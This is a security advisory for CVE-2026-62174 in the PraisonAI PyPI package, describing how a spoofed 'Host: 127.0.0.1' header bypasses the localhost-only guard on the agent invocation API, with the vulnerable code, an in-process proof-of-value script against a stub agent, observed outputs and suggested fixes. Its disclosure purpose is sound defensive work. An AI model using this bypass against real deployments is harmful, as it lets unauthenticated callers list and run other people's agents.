PT-2026-108712 · Pypi · Praisonai
CVE-2026-62174
·
Publicado
2026-10-08
·
Atualizado
2026-10-08
CVSS v3.1
8.2
Alta
| Vetor | AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:N |
Call API localhost-only authentication bypass via spoofed Host header
Summary
PraisonAI's patched
PRAISONAI CALL AUTH=disabled safeguard for the n8n/call agent invocation API can be bypassed with a spoofed Host: 127.0.0.1 header, allowing an unauthenticated network caller to list and invoke registered agents when the service is reachable and the opt-out is enabled.Technical Details
The affected code is
src/praisonai/praisonai/api/agent invoke.py. verify token() is used as a FastAPI dependency for the /api/v1/agents routes, including POST /api/v1/agents/{agent id}/invoke. Current code no longer unconditionally skips authentication when PRAISONAI CALL AUTH=disabled; it tries to allow that opt-out only for localhost binding:python
LOCALHOST HOSTS = frozenset({'127.0.0.1', 'localhost', '::1'})
def bind host from request(request: Request) -> str:
host = getattr(getattr(request, 'url', None), 'hostname', None)
return host or os.getenv('PRAISONAI CALL BIND HOST', '127.0.0.1')
async def verify token(request: Request, authorization: Optional[str] = Header(None)) -> None:
if call auth disabled():
bind host = bind host from request(request)
if bind host not in LOCALHOST HOSTS:
raise HTTPException(
status code=503,
detail="PRAISONAI CALL AUTH=disabled is only permitted for localhost binding",
)
returnThe violated invariant is that "localhost binding" must be a server-owned startup or socket property. The implementation instead reads
request.url.hostname, which is derived from the HTTP Host header for the current request. A remote caller can therefore send Host: 127.0.0.1 and make the disabled-auth guard believe the request is for a localhost-bound service.The protected sink is agent execution. After
verify token() returns, invoke agent() retrieves the registered agent and calls agent.astart(request.message) or agent.start(request.message). The same router is mounted by the PraisonAI serve feature, which imports praisonai.api.agent invoke, includes agent invoke.router, and registers YAML agents into the same registry.This is not a default-configuration exposure claim. The deployment must enable
PRAISONAI CALL AUTH=disabled and the API must be reachable over the network. The issue is that the patched safeguard intended to constrain that opt-out to localhost can be bypassed by client-controlled request metadata.PoV
the PoV builds an in-process FastAPI app with the real
agent invoke.router, registers a harmless stub agent, and sends three no-token requests. The important input is the final request: it is modeled as an external client but sends Host: 127.0.0.1.python
disabled client = TestClient(app, base url="http://external.example")
external host = disabled client.get(
"/api/v1/agents",
headers={"host": "external.example"},
)
spoofed localhost list = disabled client.get(
"/api/v1/agents",
headers={"host": "127.0.0.1"},
)
spoofed localhost invoke = disabled client.post(
"/api/v1/agents/pov-agent/invoke",
headers={"host": "127.0.0.1"},
json={"message": "host-header-bypass"},
)Expected secure behavior is for both no-token requests in disabled-auth mode to be rejected when the service is not actually loopback-only. Actual behavior rejects
Host: external.example with 503, but accepts the spoofed localhost Host with 200 and invokes the stub agent.The complete PoV script is in Appendix A.
PoC
Run from a PraisonAI checkout with the Appendix A script saved as
pov call auth host spoof.py:bash
git checkout v4.6.62
uv run --with fastapi --with httpx python pov call auth host spoof.py .Observed
v4.6.62 output:json
{
"disabled auth external host status": 503,
"disabled auth spoofed localhost invoke status": 200,
"disabled auth spoofed localhost list status": 200,
"fail closed without token status": 503,
"repo head": "2a855c470077c7d2e2479a575f7ef7f548d51c33",
"spoofed localhost invoke body": {
"metadata": {
"agent id": "pov-agent",
"message length": 18,
"response length": 33
},
"result": "stub-agent-ran:host-header-bypass",
"session id": "default",
"status": "success"
},
"stub agent calls": [
"host-header-bypass"
],
"vulnerable": true
}Run the same script against current main:
bash
git checkout 846568c7a5d8ce9e71e56e4c213f027c04909753
uv run --with fastapi --with httpx python pov call auth host spoof.py .Observed current-head output:
json
{
"disabled auth external host status": 503,
"disabled auth spoofed localhost invoke status": 200,
"disabled auth spoofed localhost list status": 200,
"fail closed without token status": 503,
"repo head": "846568c7a5d8ce9e71e56e4c213f027c04909753",
"spoofed localhost invoke body": {
"metadata": {
"agent id": "pov-agent",
"message length": 18,
"response length": 33
},
"result": "stub-agent-ran:host-header-bypass",
"session id": "default",
"status": "success"
},
"stub agent calls": [
"host-header-bypass"
],
"vulnerable": true
}The negative controls are the first two status fields. With default authentication and no token, the API fails closed with
503. With PRAISONAI CALL AUTH=disabled, an ordinary external Host is also rejected with 503. Only the spoofed localhost Host passes the guard and reaches agent execution.Impact
An unauthenticated caller who can reach a PraisonAI call/serve API with
PRAISONAI CALL AUTH=disabled can bypass the intended localhost-only restriction by setting Host: 127.0.0.1. The PoV demonstrates both agent listing and direct invocation of a registered agent through /api/v1/agents/{agent id}/invoke.Impact depends on the registered agents. In realistic deployments, agents may have tools, private context, workflow integrations, browser/file/API access, or paid model access. The same dependency also protects other agent registry routes, so the bypass undermines the access-control boundary for the mounted
/api/v1/agents API family.Suggested CWE:
CWE-287 Improper Authentication and CWE-346 Origin Validation Error, with CWE-306 Missing Authentication for Critical Function also applicable to the bypassed protected action.Suggested CVSS v3.1:
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:N (8.2). Confidentiality is scored Low because the PoV proves agent listing and invocation; higher confidentiality impact depends on deployed agents and their private context.Suggested Fix
Do not derive bind safety from
Request.url, the HTTP Host header, or any request-header-derived value. If PRAISONAI CALL AUTH=disabled remains supported, decide whether it is allowed at startup from server-owned configuration, such as the actual configured bind host passed to Uvicorn or the serving command, and refuse to start in disabled-auth mode when the configured bind host is not loopback.Consider removing the HTTP auth opt-out entirely for network routes, or replacing it with an explicit local-development mode that is only available when the process is bound to
127.0.0.1, localhost, or ::1.Regression tests should exercise real ASGI requests rather than only synthetic request objects. Include a test where
PRAISONAI CALL AUTH=disabled, the modeled server configuration is non-loopback, and the request sends Host: 127.0.0.1; the expected result should be rejection before any agent list or invoke handler runs.Affected Package/Versions
Affected package:
praisonai on PyPI.Confirmed affected:
v4.6.62at2a855c470077c7d2e2479a575f7ef7f548d51c33- current main at
846568c7a5d8ce9e71e56e4c213f027c04909753, version file still reporting4.6.62
v4.6.60 had the older unconditional PRAISONAI CALL AUTH=disabled bypass and is covered by a different public advisory. This report is for the patched guard shape present in v4.6.62 and current main. If v4.6.61 contains the same Host-derived guard, the affected lower bound likely starts there, but I could not confirm that tag locally.Fixed version: unknown.
Advisory History
I checked the repository advisory list available through GitHub and found adjacent but distinct advisories:
GHSA-86qc-r5v2-v6x6: call server unauthenticated agent listing/invocation/deletion whenCALL SERVER TOKENis unset in older releases. Current code fails closed when no token is configured; this report requires the patchedPRAISONAI CALL AUTH=disabledlocalhost guard and a spoofed Host header.GHSA-8ccj-p46r-jwqq:PRAISONAI CALL AUTH=disabledunconditionally disabled authentication in older releases and is listed as patched in>= 4.6.61. This report showsv4.6.62and current main are still bypassable through the new guard because the guard trustsrequest.url.hostname.GHSA-vmf9-xx9w-86wx: legacy SSE MCP transport accepts attacker Host/Origin and exposes registered tools throughpraisonaiagents.mcp.ToolsMCPServer.run sse(),/sse, and/messages/. That advisory affectspraisonaiagents >= 0.6.0, < 1.6.58andpraisonai >= 3.10.0, < 4.6.58, with patches listed aspraisonaiagents >= 1.6.59andpraisonai >= 4.6.59. This report targets a different package call path inpraisonai.api.agent invoke.verify token()and/api/v1/agents/{agent id}/invoke, confirmed inpraisonai v4.6.62and current main after the GHSA-vmf9 patched range. The preconditions are also different: GHSA-vmf9 is a browser/DNS-rebinding style Host/Origin issue against a local or internal legacy SSE MCP server, while this report requiresPRAISONAI CALL AUTH=disabledon the call/n8n agent API and bypasses its localhost-only opt-out guard withHost: 127.0.0.1; no browser Origin, DNS rebinding setup, SSE transport, or MCP tool server is involved.GHSA-x8cv-xmq7-p8xp:AgentTeam.launch()unauthenticated API. That advisory coverspraisonaiagentsAgentTeam.launch()routes, notpraisonai.api.agent invoke.verify token().GHSA-5qw8-f2g9-ff29: Recipe server Typer command bypasses a non-localhost authentication guard. That is a different server and CLI path. This report targets the call API's Host-derived guard input.
No advisory I found describes Host-header spoofing against the patched
PRAISONAI CALL AUTH=disabled localhost guard in praisonai.api.agent invoke.References
src/praisonai/praisonai/api/agent invoke.pysrc/praisonai/praisonai/cli/features/serve.pyGHSA-86qc-r5v2-v6x6: https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-86qc-r5v2-v6x6GHSA-8ccj-p46r-jwqq: https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-8ccj-p46r-jwqqGHSA-vmf9-xx9w-86wx: https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-vmf9-xx9w-86wxGHSA-x8cv-xmq7-p8xp: https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-x8cv-xmq7-p8xpGHSA-5qw8-f2g9-ff29: https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-5qw8-f2g9-ff29
Appendix A - Full PoV Script
python
#!/usr/bin/env python3
"""PoV for PraisonAI call API Host-header localhost guard bypass."""
from future import annotations
import importlib
import json
import os
import sys
from pathlib import Path
from typing import Any
def repo root() -> Path:
if len(sys.argv) == 2:
return Path(sys.argv[1]).resolve()
return Path.cwd().resolve()
def load agent invoke(repo root: Path, auth disabled: bool):
os.environ.pop("CALL SERVER TOKEN", None)
if auth disabled:
os.environ["PRAISONAI CALL AUTH"] = "disabled"
else:
os.environ.pop("PRAISONAI CALL AUTH", None)
package root = repo root / "src" / "praisonai"
if not package root.exists():
raise SystemExit(f"missing PraisonAI package root: {package root}")
package root s = str(package root)
if package root s not in sys.path:
sys.path.insert(0, package root s)
import praisonai.api.agent invoke as agent invoke
agent invoke = importlib.reload(agent invoke)
agent invoke. agent registry.clear()
return agent invoke
class StubAgent:
def init (self) -> None:
self.calls: list[str] = []
def start(self, message: str) -> str:
self.calls.append(message)
return f"stub-agent-ran:{message}"
def make client(agent invoke: Any):
from fastapi import FastAPI
from fastapi.testclient import TestClient
app = FastAPI()
app.include router(agent invoke.router)
return TestClient(app, base url="http://external.example")
def main() -> int:
repo root = repo root()
fail closed mod = load agent invoke(repo root, auth disabled=False)
fail closed client = make client(fail closed mod)
fail closed = fail closed client.get(
"/api/v1/agents",
headers={"host": "127.0.0.1"},
)
disabled mod = load agent invoke(repo root, auth disabled=True)
agent = StubAgent()
disabled mod.register agent("pov-agent", agent)
disabled client = make client(disabled mod)
external host = disabled client.get(
"/api/v1/agents",
headers={"host": "external.example"},
)
spoofed localhost list = disabled client.get(
"/api/v1/agents",
headers={"host": "127.0.0.1"},
)
spoofed localhost invoke = disabled client.post(
"/api/v1/agents/pov-agent/invoke",
headers={"host": "127.0.0.1"},
json={"message": "host-header-bypass"},
)
result = {
"repo head": git(repo root, "rev-parse", "HEAD"),
"fail closed without token status": fail closed.status code,
"disabled auth external host status": external host.status code,
"disabled auth spoofed localhost list status": spoofed localhost list.status code,
"disabled auth spoofed localhost invoke status": spoofed localhost invoke.status code,
"spoofed localhost invoke body": safe json(spoofed localhost invoke),
"stub agent calls": agent.calls,
}
expected = (
fail closed.status code == 503
and external host.status code == 503
and spoofed localhost list.status code == 200
and spoofed localhost invoke.status code == 200
and agent.calls == ["host-header-bypass"]
)
result["vulnerable"] = expected
print(json.dumps(result, indent=2, sort keys=True))
return 0 if expected else 1
def safe json(response: Any) -> Any:
try:
return response.json()
except Exception:
return response.text
def git(repo root: Path, *args: str) -> str:
import subprocess
return subprocess.check output(
["git", "-C", str(repo root), *args],
text=True,
stderr=subprocess.DEVNULL,
).strip()
if name == " main ":
raise SystemExit(main())Correção
Missing Authentication
Origin Validation Error
Improper Authentication
Encontrou algum problema na descrição? Tem algo a acrescentar? Fique à vontade para nos escrever 👾
Identificadores relacionados
Produtos afetados
Praisonai